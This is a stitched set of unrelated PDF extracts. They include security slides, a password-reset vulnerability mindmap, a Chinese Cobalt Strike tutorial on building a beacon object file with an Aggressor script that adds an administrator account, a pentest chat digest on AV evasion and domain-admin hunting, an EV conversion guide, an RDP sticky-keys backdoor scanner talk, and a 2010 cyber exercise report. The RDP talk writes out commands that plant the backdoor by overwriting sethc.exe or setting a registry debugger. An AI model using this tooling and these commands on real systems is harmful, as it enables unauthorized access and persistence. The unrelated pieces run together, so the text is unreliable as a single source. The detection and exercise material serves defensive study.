Switchboa rd Switchbo ard cellular Meeting speech IBM Switchboard Broadcast speech 近似于人类的语音识别 能力 近似于人类的对话问 答能力 首次将 FPGA 部署到数 据中心 Bounty Microsoft Office Insider Microsoft .NET Core 和 ASP.Net Core Microsoft Edge Azure DevOps Microsoft Cloud Bounty Windows Defender Application Guard Windows Insider Preview Microsoft Identity Mitigation Bypass and Defense Microsoft Hyper- V Bounty -> 我们的方向 Microsoft Office Insider Microsoft .NET Core 和 ASP.Net Core Microsoft Edge Azure DevOps Microsoft Cloud Bounty Windows Defender Application Guard Windows Insider Preview Microsoft Identity Mitigation Bypass and Defense Microsoft Hyper-V Azure Dynamics DevOps / GitHub AI & ML 以及更多的…… 谢谢
pdf
Common Vulnerabilities on Forget Password Functionality User Enumeration Missing Rate Limiting SQL Injection Cross-Site Scripting Text Injection/Content Spoofing HTML Injection in Email Password Reset Poisoning via Host Header Injection Re-usable Password Reset Token No Expiration on Password Reset Token Guessable Password Reset Token Security Question Bypass during Password Reset Direct Request Referrer Check Bypass Parameter Pollution Reset Token Leakage in Response Password Reset OTP Brute-Force Weak Cryptography in Reset Token Generation Insecure Direct Object Reference IDN Homograph Attack Account Takeovers Third-Party Leakage Weak Password Policy Insufficient Session Expiration on Password Change MFA Auto Disable after Password Reset MindMap By: Harsh Bothra Twitter: @harshbothra_ https://harshbothra.tech
pdf
1 bof⼩测 ⼀个正常C程序,如何转换成bof⽂件,这⾥记录下过程 bof的原理实现就不多讲了,简单来说就是编译成⼀个object⽂件(COFF格式,exe是PE格式),然后 传输给beacon后在终端上完成链接过程,这也就导致bof⽂件⾮常⼩,⼀般只有⼏K。 参考 https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/untitled-3 在github有⼏个不错的开源项⽬,可以以此为模板进⼀步开发,⽽不需要完全重头开始。 https://github.com/trustedsec/CS-Situational-Awareness-BOF https://github.com/securifybv/Visual-Studio-BOF-template 我是基于第⼀个项⽬开发,这个项⽬有很多已实现的案例,可作为参考。 SA⽬录就是编译成object的⽂件,⽤于直接提供cs使⽤ src是源码⽬录,除了已实现功能的源码,还提供了⼀个base_template作为模板。 编写bof代码 2 将base_template拷⻉⼀份到src/SA下,改成如useradd,BOFNAME也修改⼀下,⽅便发布。 3 然后看下核⼼代码部分,这⾥其实考虑到了两种使⽤场景了,bof提供cs使⽤,exe供独⽴使⽤,也⽅便 调试功能是否正常,编译的时候只需要带上-DBOF即可编译成bof。 bof和exe⼊⼝区别如下,exe固定是main函数⼊⼝,bof会由加载器扫描go函数的地址作为⼊⼝,当然 也可以是其他名字,默认是go。 4 bof编写,⼀般会导⼊⼀个beacon.h,有⼀些内置的函数提供,⽐如我要打印内容给teamsever显示, 就可以调⽤BeaconPrintf,其他函数和使⽤可参考这个官⽅链接 https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/b eacon-object-files_main.htm 接着就是编写功能了,⽐如添加⽤户,这⾥有个C项⽬,有现成代码。 https://github.com/newsoft/adduser 代码⽐较简单,调⽤NetUserAdd添加⽤户,然后调⽤ NetLocalGroupAddMembers 加 administrators组 5 但这些都是直接调⽤的win32api,如果看了上⾯提供的bof官⽅⽂档,就会知道这些api需要动态加载调 ⽤,不像是PE⽂件有导⼊表,那官⽅提供了两种⽅法,⼀是调⽤loadlibrary等函数动态加载,⼆是动态 函数解析(DFR),我这⾥选择后者,这个⽅便些。 6 在src\common\bofdefs.h添加宏定义,⽤于动态函数解析 并添加函数声明,⽤于外部调⽤ 如上操作即可完成动态函数解析。然后在我们要编写的代码⾥替换成带有lib名称的函数即可。 C 复制代码 #define NETAPI32$NetUserAdd NetUserAdd 1 C 复制代码 WINBASEAPI DWORD WINAPI NETAPI32$NetUserAdd(LPCWSTR,DWORD,PBYTE,PDWORD); 1 7 繁琐的地⽅主要在于要查微软官⽅⽂档,然后才知道函数签名。 这个项⽬⾃动完成这个过程了,通过⼀个本地函数库获取函数签名,再通过微软在线查询该函数对应的 lib⽂件名是什么,拼接实现上⾯声明代码。 https://github.com/dtmsecurity/bof_helper 效果如下,然后最后⼀⾏复制到bofdefs.h⾥即可 把需要打印回显的位置替换成BeaconPrintf,bof的项⽬还做了⼀个封装,更⽅便使⽤, internal_p rintf 8 使⽤make bof尝试编译是否正常 然后⽤cs调⽤,可以正常加载,但有个问题,这样是⽆法传参的。 C 复制代码 inline-execute [dirpath]\useradd.x64.o 1 9 ⽐如这样是⽆法传参的 看下go的⼊⼝解析参数代码,这个是参考其他功能的代码,cs内置⼀个datap数据类型,⽤于数据解 析,先调⽤BeaconDataParse将缓存放⼊parser,再通过BeaconDataExtract提取。 参看官⽅⼿册,提供了五种函数⽤于数据提取,也就是说数据类型也5种,int/char*/wchar_t*/short 等,那如果是命令⾏传递是不可能知道数据类型的。仔细看⽂档第⼀⾏,提示了,需要结合cna脚本的 参数解析问题 C 复制代码 inline-execute [dirpath]\useradd.x64.o user pass 1 10 bof_pack函数来pack格式化参数传递,所以需要编写cna脚本了。 这个bof项⽬也提供了现成的cna脚本,所以只需要参考改⼀下即可 代码如下,很简单,添加⼀个函数useradd,然后通过 beacon_command_register 注册 cna脚本编写 11 PS: readbof是这个项⽬⾃定义的函数,⽤于读取bof完整⽂件名。 bof_pack参考 https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_a ggressor-scripts/as-resources_functions.htm#bof_pack 这⾥也和bof⾥的函数关联起来了,你怎么格式化,bof⾥就怎么解析。 C 复制代码 beacon_command_register ( "useradd", "useradd [username] [passord]" "example: useradd audit Test123456789!" ); alias useradd { local('$user $pass $args') $user = $2; $pass = $3; if ($user eq "" or $pass eq "") { berror($1, "help useradd"); return; } $args = bof_pack($1, "ZZ", $user, $pass); beacon_inline_execute($1, readbof($1, "useradd"), "go", $args); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 12 bof_pack $1: beacon id $2: format string for the packed data ...: args 格式化参考 bof解析参数时注意事项 1. 如果是BeaconDataExtract赋值给某个char*变量 ,⼀定要是const char*,否则会crash。 2. 如果调⽤了bofstart,解析⼀定要在这后⾯,否则也会crash Type Description Unpack With (C) b binary data BeaconDataExtract i 4-byte integer BeaconDataInt s 2-byte short integer BeaconDataShort z zero-terminated+encoded string BeaconDataExtract Z zero-terminated wide-char string (wchar_t *)BeaconDataExtract 13 beacon_inline_execute $1 - the id for the Beacon $2 - a string containing the BOF file $3 - the entry point to call $4 - packed arguments to pass to the BOF file 重新加载cna脚本 bof⽂件⼤⼩写和PE⽂件相⽐,这个demo中差了近百倍。 https://www.cobaltstrike.com/help-beacon-object-files https://gitee.com/sh3llsas/CobaltStrike-BOF https://wbglil.gitbook.io/cobalt-strike/cobalt-strike-yuan-li-jie-shao/untitled-3 https://github.com/ajpc500/BOFs/ https://github.com/boku7/spawn cna参考链接 参考 14 https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_a ggressor-scripts/as-resources_functions.htm
pdf
2021年7月26日 群精华总结 概述 问题1:创建服务做自启动的时候出现“占位程序接收到错误数据”的错误 问题2:powershell加载dll反射执行错误 问题3:openfire管理员账号密码在哪儿? 问题4:怎么查询域管理员在域内哪台机器上登录了? 问题5:想问下免杀里面申请到内存后((void(*)())exec)();这个是啥意思呢? 问题1:创建服务做自启动的时候出现“占位程序接收到错误数据”的错误 解决:复制sc.exe到其他目录,然后重命名sc.exe,再执行创建服务,解决问题。 问题2:powershell加载dll反射执行错误 解决:Add-Type -LiteralPath "c:\xxx\ddd.dll" 问题3:openfire管理员账号密码在哪儿? 解决:再数据库中,文章和工具如下: https://blog.csdn.net/vcwanglailing/article/details/72494439 https://github.com/jas502n/OpenFire_Decrypt 问题4:怎么查询域管理员在域内哪台机器上登录了? 解答: 1. sysinternals工具集里面的PsLoggedon.exe 2. 大部分是使用session枚举的哪几个API(NetSessionEnum),这个在域内动作很大的,很容易被 发掘,相关的工具很多!建议学习bloodhound。 3. netview 试试这个工具 问题5:想问下免杀里面申请到内存后((void(*)())exec)();这个是啥意思呢? 这个google以下分析文章很多,例如:https://www.macchiato.ink/hst/bypassav/void/
pdf
Convert to Electric Vehicles 2009 Electric Auto Association (EAA) “Promoting the use of electric vehicles since 1967” Electro Automotive VoltsRabbit Acterra EV Conversion Project DC Motor Example components Why Build an EV? Today there are limited production electric vehicles available, so converting an existing internal combustion engine (ICE) vehicle to an electric vehicle (EV) might be the best current choice available to obtain an EV. Building your own EV can be a rewarding and challenging experience. Not only will you be a pioneer in the EV movement, but you will also be recycling a car that may be headed for the junk yard. Don’t wait for Detroit. Custom build an EV yourself1. A typical EV conversion will achieve a range of 30-60 miles for each charge. Studies have shown that 80% of commuters travel less than 40 miles per day, and 50% of commuters travel 20 miles or less per day. An EV conversion can meet those daily driving needs. EVs are a clean, efficient alternative to conventional vehicles – using technology that is readily available today! EVs produce zero emissions, and when you consider the full fuel cycle to generate electricity, are up to 99% cleaner than gasoline and diesel vehicles. EV owners enjoy the financial benefits of significantly lower fuel and maintenance expenses. Finally, EVs help reduce our dependence on oil. What steps are involved? This overview provides a high level framework for performing a conversion. Please review the references and other links (in the next section) for more complete information. 1. Determine your driving needs: range – the distance you travel in a single day; type of vehicle – family car, commuter, utility vehicle, or racing car. 2. Look for an EV kit for the vehicle you choose. Kits will make the conversion significantly easier – they include all of the parts, except batteries. A conversion kit will cost about $4,000-$6,000, and the batteries, depending on how many you need, can cost another $700-$1,200. 3. Make sure you have access to the proper tools and supplies, and a place to do the conversion. You may need to rent equipment like engine hoists and contract out welding work. Contact EV veterans for advice and assistance. 4. Familiarize yourself with the EV components that will be installed. The most common batteries for EV conversions are lead-acid batteries, specifically, 12-volt sealed batteries. 5. Safety. Any project involving automobiles and tools has inherent risks. Be aware of these possible hazards to prevent damage to the vehicle and serious injury to you. 6. Remove the ICE components, making room for the EV components. 7. Install the motor, components, battery box, and batteries. 8. Install the wiring for propulsion (traction pack), auxiliary power system (12-volt system), and traction pack charging system, and displays and controls. 9. Safety testing. Test the battery charger; check the wiring and fuses, connections. Then take it out for a spin and notice the quiet, smooth ride. Be sure to show it off! 1 http://www.evadc.org/build_an_ev.html. In addition, this excellent web site is the source for much of the information included here. “EAA EV drivers have logged over 10 million clean miles” “Your notes should be required reading for all members before starting construction.” – Satisfied reader (posted on amazon.com) “An exceptional book for anyone looking to get the initial know-how on how to convert a gas vehicle to an electric vehicle (EV).” – Satisfied reader (posted on amazon.com) E-mail: info@eaaev.org Web: electricauto.org Rev: 20090321 More Resources and Links • Seek out the nearest Electric Auto Association (EAA) chapter http://electricauto.org and attend a local meeting. The links page has information about conversions and components (http://electricauto.org/eaalinks.html) • Electric Vehicle Association of Greater Washington DC has an excellent overview “Build an EV” at http://www.evadc.org/build_an_ev.html. Much of the material presented here comes from this web site. • Probably the definitive book on conversions, “Convert It” by Michael Brown & Shari Prange (ISBN 1879857944), provides a step-by-step guide through the entire conversion process. From Electro Automotive http://www.electroauto.com. Electro Automotive also offers parts along with full kits for conversions. • "Build Your Own Electric Vehicle" by Bob Brant (ISBN 0830642315), features in-depth descriptions of battery, motor, controller technology, with formulas, photos, and diagrams. • “The New Electric Vehicles: A Clean and Quiet Revolution” by Michael Hackelman (ISBN 096295887). Features EVs including conversions, solar cars, electrathon racers, boats, and even planes. Includes color photos and helpful construction tips. • DC Power Systems is a component supplier (http://www.dcpowersystems.com). • AC Propulsion offers many EV technologies (http://www.acpropulsion.com). • EV Parts, Inc is a component supplier (http://www.evparts.com). • Manzanita Micro EV components (http://www.manzanitamicro.com). • Café Electric EV controllers (http://www.cafeelectric.com). • KTA Services provides EV components and kits (http://www.kta-ev.com). • http://www.metricmind.com , Victor Tikhonov imports Siemens AC drives. • EV World has information about conversions, conversion supplier, and a list of popular EV conversion vehicles (http://www.evworld.com). • EV discussion group http://www.evdl.org. • Grassroots Electric Vehicle Company supplies EV components and has a video series on EV conversions at http://www.grassrootsev.com. • The Electric Drive Transportation Association http://www.electricdrive.org/index.php?tg=articles&topics=48&new=0&newc=0. • An EV conversion diary http://www.evsupersite.net. • Acterra’s EV conversion project http://www.acterra.org/ev. • National Electric Drag Racing Association (http://www.nedra.com). About the Electric Auto Association The EAA is a non-profit educational organization that promotes the advancement and widespread adoption of electric vehicles; organizes public exhibits and events of electric vehicles to educate the public on the progress and benefits of electric vehicle technology. © 2003-2009 Electric Auto Association
pdf
掃吧你!從協議面抓出機歪的 遠端桌面後門 orange@chroot.org About Me •  蔡政達 aka Orange •  CHROOT 成員 •  DEVCORE Security Consultant •  HITCON, PHPCONF, PYCON …等講師 •  揭露過 Microsoft, Django, Yahoo …等漏洞 •  專精於駭客手法、Web Security 與網路滲透 水議題? 老議題? old issue ? yes, it is. 遠端桌面後門? Remote Desktop Backdoor ? 遠端桌面 "相黏鍵" 後門? Remote Desktop "StickKeys" Backdoor ? 遠端桌面後門? •  透過再未輸入有效登入憑證的狀況下,使 用作業系統自帶的功能繞過限制。 安裝方法 •  C:\windows\system32\sethc.exe – shift * 5 •  C:\windows\system32\utilman.exe – Windows + U •  C:\windows\system32\osk.exe – 輔助鍵盤 •  ... 安裝方法 v1 •  直接覆蓋 – copy /y cmd.exe C:\windows\system32\sethc.exe – copy /y cmd.exe :\windows\system32\dllcache \sethc.exe – takeown /f sethc.exe – echo y | cacls sethc.exe /G administrator:F 安裝方法 v2 •  映像劫持 – EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion \Image File Execution Options\sethc.exe', 'debugger', 'reg_sz', 'C:\windows\system32\cmd.exe' 如果要用圖片來說明 當然,笨蛋才不加密 當然,有些也是可以被繞過的 Windows 2000 輸入法漏洞 講古 What I Want to Do ? What I Want to Do ? •  RDP Scanner 1.  RDP Info 2.  Check Backdoor 3.  Maybe check weak password •  ./rdp_scan 0.0.0.0/0 有沒有工具可以檢測這種後門? 當需要批量檢查時怎麼辦? From BH 03 •  Windows 2000 mstsc.exe has an undocumented API – mstsc.exe /CLXDLL=clxtshar.dll – smclient.exe ( Windows 2000 resource toolkit ) •  TSGrinder •  RDP Risk Checker – by xtiger 開始研究 RDP Protocol 研究方法? •  微軟貌似有出 RDP Spec – MS-RDPBCGR ( Basic Connectivity and Graphics Remoting ) – MS-RDPEGDI – MS-RDPERP – MS-RDPNSC – ... 研究方法? •  從 Open Source 開始研究? – RDesktop – Proper-JavaRDP / Lixia-JavaRDP – FreeRDP RDP Protocol •  Connection Negotiation – Native RDP – TLS – NLA RDP Protocol •  MCS - Multipoint Communication Service – Create channel – Join channel – Clipboard, sound, Device redirect, File sharing ... RDP Protocol •  Security Exchange – Encryption Mode •  FIPS 140-1 •  RSA with RC4 ( 40, 128 bit key ) – Exchange Public Key and Client/Server Random RDP Protocol •  RDP Setting Exchange – Client Info •  username, password, hostname ... •  xfreerdp -n client_hostname <IP> – Capabilities •  Orders Support ? •  Font, Color, Keyboard, Pointer, Cache ... RDP Protocol •  RDP Command – PDU DATA •  Bitmap, Control, Sync, Pointer, Disconnect ... – Orders •  Line, Rectangle, Polygon, Glyph ... – Client Data •  Point, Keyboard Glyph Bitmap RDP Weak Password Cracker RDP Weak Password Cracker •  RDP Setting Exchange - Client Info – 1 次 •  模擬 Key Type – 5 次 RDP Info Scanner 感覺滿簡單的 RDP Info Scanner •  從最初的幾個交互連線可獲得的資訊 – RDP Version (4, 5) – Protocol (RDP, TLS, NLA) – Encrpytion (RSA+RC4 or FIPS 140-1 ?) – Certificate – 至於 Windows version 呢? RDP Info Scanner v1 •  一開始從 RDP 版本行為差異做區分 – RSA_INFO_LENGTH •  376 # Vista+ •  184 # XP / 2003 – Slow-Path •  Windows 8+ do not support – Bell PDU •  Windows 2008 R2+ do not support – BPP - Bits per Pixel •  Windows 8+ do not support BPP lower than 16 RDP Info Scanner v2 •  File System Virtual Channel Extension – [ header 4 bytes ] – [ version major ] [ version minor ] – [ client ID 4 bytes ] – Version major MUST be set to 0x0001 – Version minor •  0x02 # Win 2000 •  0x05 # Win XP sp1/sp2, Win 2003 sp1 •  0x06 # Win XP sp3 •  0x10 # Win 2003 sp2 RDP Backdoor Scanner 一開始我以為很簡單... RDP Backdoor Scanner •  Orders 內有個 Fast glyph •  可以 parse 出 ASCII 的字元 •  接著只要寫個白名單當沒出現關鍵字就顯 示有問題就好 直到我遇見這個 WTF... 接下來開始想還有什麼方式 Screenhost ? •  RDP new version not support Fast Glyph 聲音? •  Bell PDU •  RDP Version 7 不支援 Bell PDU – 改用 Sound Channel 代替 行為? •  sethc.exe 會有防止重複執行功能,而一般後 門鮮少會加上 – FindWindowEx # 2003 ... – CreateMutex # 2008 + 行為( Original ) •  Send KeyDown SHIFT * 5 行為( Original ) •  Send KeyDown SHIFT * 5 •  Send KeyDown SHIFT * 5 行為( Original ) •  Send KeyDown SHIFT * 5 •  Send KeyDown SHIFT * 5 •  Send KeyDown ESC 行為( Original ) •  Send KeyDown SHIFT * 5 •  Send KeyDown SHIFT * 5 •  Send KeyDown ESC •  Send KeyDown ESC Connection Close 行為( Backdoor ) •  Send KeyDown SHIFT * 5 行為( Backdoor ) •  Send KeyDown SHIFT * 5 •  Send KeyDown SHIFT * 5 行為( Backdoor ) •  Send KeyDown SHIFT * 5 •  Send KeyDown SHIFT * 5 •  Send ESC * 1 行為( Backdoor ) •  Send KeyDown SHIFT * 5 •  Send KeyDown SHIFT * 5 •  Send ESC * 1 •  Send ESC * 1 行為( Backdoor ) •  Send KeyDown SHIFT * 5 •  Send KeyDown SHIFT * 5 •  Send ESC * 1 •  Send ESC * 1 •  Waiting ... Connection Timeout 看起來滿給力的 但唯一的問題... Exception •  Windows XP work •  Windows 2003 work •  Windows Vista work •  Windows 7 work •  Windows 2008 not work ... •  Windows 2008 R2 work sethc.exe of Windows 2008 •  就只有這個版本沒有檢查重複執行... •  Windows 2003 – FindWinodwEx •  Windows 2008 R2 – CreateMutex •  Windows 2008 – ...... Conclusion •  歡迎加入,收集樣本 •  有更好的檢測方法歡迎提供 : ) Thanks
pdf
Live-Fire Exercise: Baltic Cyber Shield 2010 Kenneth Geers Naval Criminal Investigative Service (NCIS) Cooperative Cyber Defence Centre of Excellence (CCD COE) Overview • May 10-11, 2010 • International cyber defense exercise (CDX) • CCD CoE / Swedish National Defence College • Six Blue Teams – Northern European gov, mil, priv sec, acad • Red Team – 20 friendly hackers • Scenario – Cyber terrorists vs power generation companies Baltic Sea Sweden Estonia Tallinn, Estonia 2007: Street Disturbances 2007: Cyber Attack CCD CoE Introduction • Are cyber attacks a threat to national security? –Cyber terrorism, cyber warfare • Expert opinions • Dismissive to apocalyptic • What would the targets be? –Electricity, water, air traffic control, stock ex- change, national elections… Trends • National critical infrastructures increasingly connected to the Net • Custom IT systems replaced with less expensive, off-the-shelf Windows and UNIX • Traditionally closed networks (eg SCADA) not designed for resiliency • OS familiarity may facilitate hacking Nat’l Security Thinking • Cyber attacks: better understanding required – Some real-world case studies – Much information lies outside public domain – No wars yet between two Internet-enabled militaries • Must be able to simulate cyber attack and defense in a laboratory Moving Target • Realistic CDXs are a challenge – Must simulate adversary, friendly forces, even the battlefield – Conclusions may be valid for a short time • IT, hacking are complex and dynamic – Rapid proliferation of computing devices, processing power, user-friendly hacker tools, practical encryption, Web-enabled intelligence collection Half-Life • The military and computers… – Train tank drivers, pilots – Simulate battles, campaigns, complex geopolitical scenarios • How well can a sim model the real world? • Failure factors – Poor intelligence, miscalculations, incorrect assumptions, scoring system, political considerations – 2002: $250 million Millennium Challenge Cyber Defense Exercise • Robust CDX requires team-oriented approach – Blue Team: friendly forces – Red Team: hostile forces – Green Team: technical infrastructure – White Team: game management Blue Team • Real-life system administrators and computer security specialists – Primary targets for instruction • Goal – Defend network confidentiality, integrity, and availability (CIA) vs hostile RT – Scoring: automated and/or manual system Red Team • The cyber attacker – BCS: “cyber terrorist” • Goal – Undermine CIA of BT networks • Tactics – On virtual battlefield, almost no limitations • “White box” vs “black box” testing – The question of prior knowledge White Team • Manages and referees CDX – Writes game scenario, rules, scoring system – Makes in-game adjustments – Tries to prevent cheating • EX: firewall rule detrimental to game and/or unrealistic? – Declares the “winner” Green Team • Designs, hosts network infrastructure • In-game ISP • Records traffic for post-game analysis • Manages automated scoring • Virtual machine technology • Possible with few resources, but… • Sim powerful adversary = many resources • EX: RT plan should indicate money, manpower • VPN technology • Teams can log in from anywhere Scenario • Helps determine strategic significance • Estimate resources and cost – Lone hacker, org, nation-state? • Can a lone hacker be a nat’l sec threat? • Out-of-the-box thinking – Always helpful • Can only real-world attacks change threat perception? Cyber War Philosophy • Cyber warfare is not traditional warfare • Tactical victories: reshuffling of bits • Any real-world effects? • Cyber attack • Not an end in itself • Extraordinary means to many ends • Espionage, DoS, identity theft, propaganda, infrastructure manipulation, ? The Art of (Cyber) War Sun Tzu said: There are five ways of attacking with fire. The first is to burn soldiers in their camp; the second is to burn stores; the third is to burn baggage trains; the fourth is to burn arsenals and magazines; the fifth is to hurl dropping fire amongst the enemy. www.hizbulla.org: October 25, 2000 Electronic Pearl Harbor? July 19, 2010 Strategic Thinking 1. The Internet is vulnerable 2. High return on investment 3. Inadequacy of cyber defenses 4. Plausible deniability 5. Growing power of non-state actors 6. ? CDX: Goals • RT vs BT • Credible simulation of net attack and defense • Acquisition / prevention of unauthorized access • Real-world impact • Political / military results? • Zip, minor annoyance, or national security crisis? Nation-State Simulation • Mil / gov agencies are “full-scope” actors • Much more than computer hacking • Deep well of nat’l IT expertise • Crypto, prog, debug, vuln discovery, agent- based systems, etc • Supported in turn by experts in other disciplines • Natural sciences, physical security, supply chain, continuity of business, social engineering, etc EX: Sandia Nat’l Labs • Robust RT • Kills: mil installations, oil companies, banks, electric utilities, e-commerce firms • Specialize in hidden vulns in complex environmts • Obscure infrastr interdep in specific domains • Former chief • “Our general method is to ask system owners: ‘What's your worst nightmare?’ and then we set about to make that happen” CDX history • Every CDX is unique – Good and bad – IT evolves too quickly – Too many variables in cyberspace • Both lab-based and real-world • Cyber defenders may / may not be warned Eligible Receiver (1997) • 35 NSA personnel • “North Korean” hackers • Target: U.S. Pacific Command • J. Adams in Foreign Affairs • “human command-and-control system” infected with “paralyzing level of mistrust” • “nobody in the chain of command, from the president on down, could believe anything” • Also revealed that many nat’l critical infrastr vulnerable to cyber attack Water Security • 2006: Environmental Protection Agency • Could a hacker poison the water supply? • Sandia vuln assessm’t: distrib plants serving >100,000 • 350 such facilities = too many! • Thorough analysis: 5 sites • Risk Assessm’t Methodology for Water (RAM-W) International CDXs • Internat’l architecture, internat’l responsibility • 2006 DHS Cyber Storm – Scen: non-state “hacktivists” – Gov collab w/ private sector • 2008 Cyber Storm II – Scen: Nation-state – Cy / phys attacks: coms, chem, RR, pipe infra • 2009 CDX: remote, mountainous Tajikistan – U.S., Taj, Kazakhstan, Kyrgyzstan, Afghanistan Baltic Cyber Shield • 10-11 May 2010 – 7 northern European countries – 6 national BTs – 20-hacker internat’l RT • “Live-fire” CDX – Unscripted battle – Malicious code both authorized and encouraged • Within virtual battlefield Insipiration • U.S. National Collegiate Cyber Defense Competition • International Cyber Defense Workshop (ICDW) • UCSB International Capture the Flag (iCTF) • Annual U.S. military CDXs • CCD COE-SWE CDX, Dec 2008 BCS 2010 Scenario • Exploration of “cyber terrorism” • Target: power supply company – CII / SCADA infrastructure • Blue Teams – SIT: sec insp failure / insider fears – Hired-gun, Rapid Response Team • Red Team – Attacks should intensify throughout CDX BCS Goals 1. Hands-on BT training in CII defense – Cyber Defense Exercise 2. Highlight international nature of cyberspace – Technical, institutional, legal, political, etc 3. Improve future CDXs – “Lessons learned” – Survey White Team • CCD CoE Tallinn, SNDC Stockholm • Scoring criteria • Based on network CIA • Office infrastructure , external services • + BT points • Thwarted attacks, “business requests,” innovative strategies and tactics • – BT points • Criticality of system, service, compromise • Admin/Root, SCADA PLC Green Team • Swedish Defence Research Agency (FOI) • Linköping, Sweden • Hosted most CDX infrastructure • 9 racks, 20 physical servers each • BT nets designed by GT & WT • 12 miniature factories • Each:1 butane flame to “detonate” • RT / BTs accessed game via OpenVPN Blue Teams • 6 BTs • 6-10 personnel each • Northern Euro gov, mil, priv sec, academia • Network: identical, pre-built, fairly insecure • 20 physical PC servers, 28 virtual machines • 4 VLAN segments: DMZ, INTERNAL, HMI, PLC • Many elements unpatched, vuln, misconfig, poor paswrds, keys, some pre-planted malware Game Environment • 2x 2.2GHz Xeon processors • 2 GB RAM • 80 GB HDD • 2 10/100Mbit Ethernet interfaces • VMware Server 2.0.2 on Gentoo Linux • 2 segments: management / game UNCLASSIFIED BCS SCADA • Sim: power generation company –Production, management, distribution –GE PLCs –Cimplicity HMI terminals –Historian databases • 2 model factories per BT net Model Factories Model Steam Engine GE PLC Hardening the Network • BTs did not have prior access to CDX environment • Given somewhat outdated network docs • Could install / modify existing SW • Min #, type of apps & services required • Offensive BT cyber attacks prohibited • Vs RT or other BTs Red Team • 20 volunteer angry environmntlst h4x0r5 – Attacks should begin slowly, intensify – No limit on hacker tools & techniques vs BTs – Could not attack CDX infrastructure – Attacks confined to CDX environment • Internally, four sub-teams – “Client-side,” “fuzzing,” “web app,” “remote” • Early CDX access, sim prior recon Visualization • Network topography • Traffic flows • Chat channels • Team workspaces • Observer reports • Terrestrial map • Scoreboard UNCLASSIFIED RT Campaign • Four phases 1. Declaration of war 2. Breaching the castle wall 3. Owning the infrastructure 4. Wanton destruction Declaration of War • Hacker ultimatum – RT must deface each BT website – “Cease operations & convert to green power…” • “…or face crippling cyber attack!” – Extremist environmental organization • “K3 c1b3r w4rf4r3 d1v1s10n” – RT defaced 5 of 6 sites w/in 30 minutes Phase One • WT allowed RT to compromise only: – 1 server in each BT DMZ – 1 INTERNAL workstation • Still, RT created steady stream of incident reports • EX: in 1 hour, RT had live A/V feed from BT workspace • WT had trouble scoring all incidents Phase Two • RT: compr as many DMZ / INTERNAL as possible – First day: 42 kills, incl web, email servers – MS-SQL SCADA rept server • Historical CDX challenge – Balanced, sustained RT pressure on all BTs – WT directive: for each vuln, all BT sys checked • For Red Team, was BCS config too easy? – Maybe not: 2 BTs kept RT out of INTERNAL nets Phase Three • Steal BT “crown jewels” –Human Machine Interface (HMI) • Power managment • SCADA infrastructure • RT claimed only limited victories –Only 1 of 12 model factories set on fire • Intentional or accidental? 1300Z: Boom! diff: RT vs State Actor • RT did not understand factory processes • How to blow them up? • Hypothesis • The one factory blown up was due to fuzzing attack vs Modbus protocol • More RT / GT communication, training could help Phase Four • “Wanton destruction” • Attack / destroy any BT system • Desperate attempt to cause max taret dmg • Not a wise CDX decision • RT DoS’d previously conquered systems • EX: Custom-config Cisco router DoS • Prevented WT from accurately scoring game Vulns and Exploits • RT compromised 80 BT computers • Publicly-known vulns • MS03-026, MS04-011, MS06-040, MS08-067, MS10- 025, flaws in VNC, Icecast, ClamAV, SQUID3 • Hacked web applications • Joomla and Wordpress • SQL injection, local / remote file inclusion, path traversal, XSS vs Linux / Apache / Mysql / PHP Vulns and Exploits 2 • Account cracking, online brute-forcing, DoS with fuzzing tools, password hash dumps, “pass-the- hash,” Slowloris vs Apache, NTP daemon and Squid3 web proxy DoS, SYN flood • Backdoors: poison ivy, Zeus, Optix, netcat, custom- made code; Metasploit used to deploy reverse backdoors • Crontab changes: eg, drop firewall rules • One zero-day client-side exploit for most browsers And the Winner is… • Essential services moved to custom-built, higher- security virtual machine – NTP, DNS, SMTP, WebMail • Domain Controller: IPsec filtering • “Out-of-band” communications – Did not trust in-game e-mail • Preexisting malware found and disabled • After initial MS-SQL loss, no Conf/Integ points lost Successful BT Strategies • Linux – AppArmor, Samhain, custom short shell scripts • Windows – AD group policies, CIS SE46 Computer Integrity System, KernelGuard, central collection of logs • All OSs – White/blacklisting, IP blocking/black hole routing Goals Met? 1 1. Successful “live fire” CDX – BTs tasted defense of CII / SCADA – “Cyber terrorist” scenario explored – Very little down-time reported 2. International composition of teams – >100 personnel, >7 countries – Numerous cross-border relationships strengthened Lessons • More WT manpower – Coms, scoring, observation, adjudication – 1 WT per BT, 2 WT for RT (trust issues) • One pre-CDX “mechanics” day – Strength-test all connectivity, bandwidth – Make rules and scoring crystal clear • “Dumb users” req’d or no client-side attacks – Wasted browser 0-day (affected SCADA sim) Lessons 2 • No VMWare Server Console – Too big, too slow, too particular • BTs should have some net admin rights • Authoritative team leaders from start – Big project = some clashing agendas, egos • Lawyer on WT • No “wanton destruction” phase Final Thought • CDX challenges ≈ real world challenges • IT • Complicated, dynamic, polymorphic, evolving • Defenders may not see same attack twice • Intangible nature of cyberspace • Victory, defeat, battle damage can be highly subjective • Sub Rosa Cyber War Estonian Cyber Defense League References Adams, J. (2001). “Virtual Defense,” Foreign Affairs 80(3) 98-112. “Air Force Association; Utah's Team Doolittle Wins CyberPatriot II in Orlando.” (2010, Mar 10). De-fense & Aerospace Business, p. 42. Bliss, J. (2010, Feb 23) “U.S. Unprepared for ‘Cyber War’, Former Top Spy Official Says,” Bloomberg Businessweek, online. Caterinicchia, D. (2003, May 12) “Air Force wins cyber exercise.” Federal Computer Week, 17(14), p. 37. Chan, W. H. (2006, Sep 25). “Cyber exercise shows lack of interagency coordination.” Federal Com-puter Week, 20(33) p. 61. “Cyber War: Sabotaging the System.” (2009, Nov 8). 60 Minutes: CBS. Geers K. (2010). “The challenge of cyber attack deterrence.” Computer Law and Security Review 26(2) pp. 298-303. Geers, K. (2008, Aug 27). “Cyberspace and the Changing Nature of Warfare.” SC Magazine. Gibbs, W. W. (2000). “RT versus the Agents.” Scientific American, 283(6). Goble P. (1999, Oct 9). “Russia: analysis from Washington: a real battle on the virtual front.” Radio Free Europe/Radio Liberty. Gomes, L. (2003, Mar 31). “How high-tech games can fail to simulate what happens in 